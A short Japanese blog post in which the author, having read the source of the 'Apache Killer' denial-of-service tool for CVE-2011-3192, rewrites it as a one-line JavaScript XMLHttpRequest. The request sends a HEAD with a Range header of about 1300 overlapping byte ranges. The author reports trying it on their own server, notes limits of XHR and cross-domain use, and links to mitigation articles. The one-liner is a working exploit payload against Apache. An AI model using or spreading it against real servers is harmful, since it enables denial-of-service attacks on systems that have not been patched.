Apache KillerというApacheの脆弱性(CVE-2011-3192)をつくDoSツールが出回ってますね。
ソースも割りと簡単に手に入るので読んでみたところ、結構単純なHTTPリクエストを送ってるだけだった。これはJSで書き直せると思ってJSで書き直してみた。特に意味はない。
p="bytes=0-"; for(k=0;k<1300;k++) p+= ",5-"+k; xhr=new XMLHttpRequest(); xhr.open("head","/"); xhr.setRequestHeader("range",p); xhr.send();
本家ではこれに加えて
・Accept-Encoding: gzip
・Connection: close
を指定しているが、XHRの制限上できないので省略。
自鯖で試したところ確かに効果がありそう(ちゃんと測定したわけじゃないが)
JSなので本家よりもちろん弱い
どうやらrangeヘッダを設定しているとOPTIONメソッドのリクエストが飛ぶのでクロスドメインでは無理(?)
apache killerに対する対策は色々な記事に書かれていますが
http://sourceforge.jp/magazine/11/08/25/0351236
などを参考。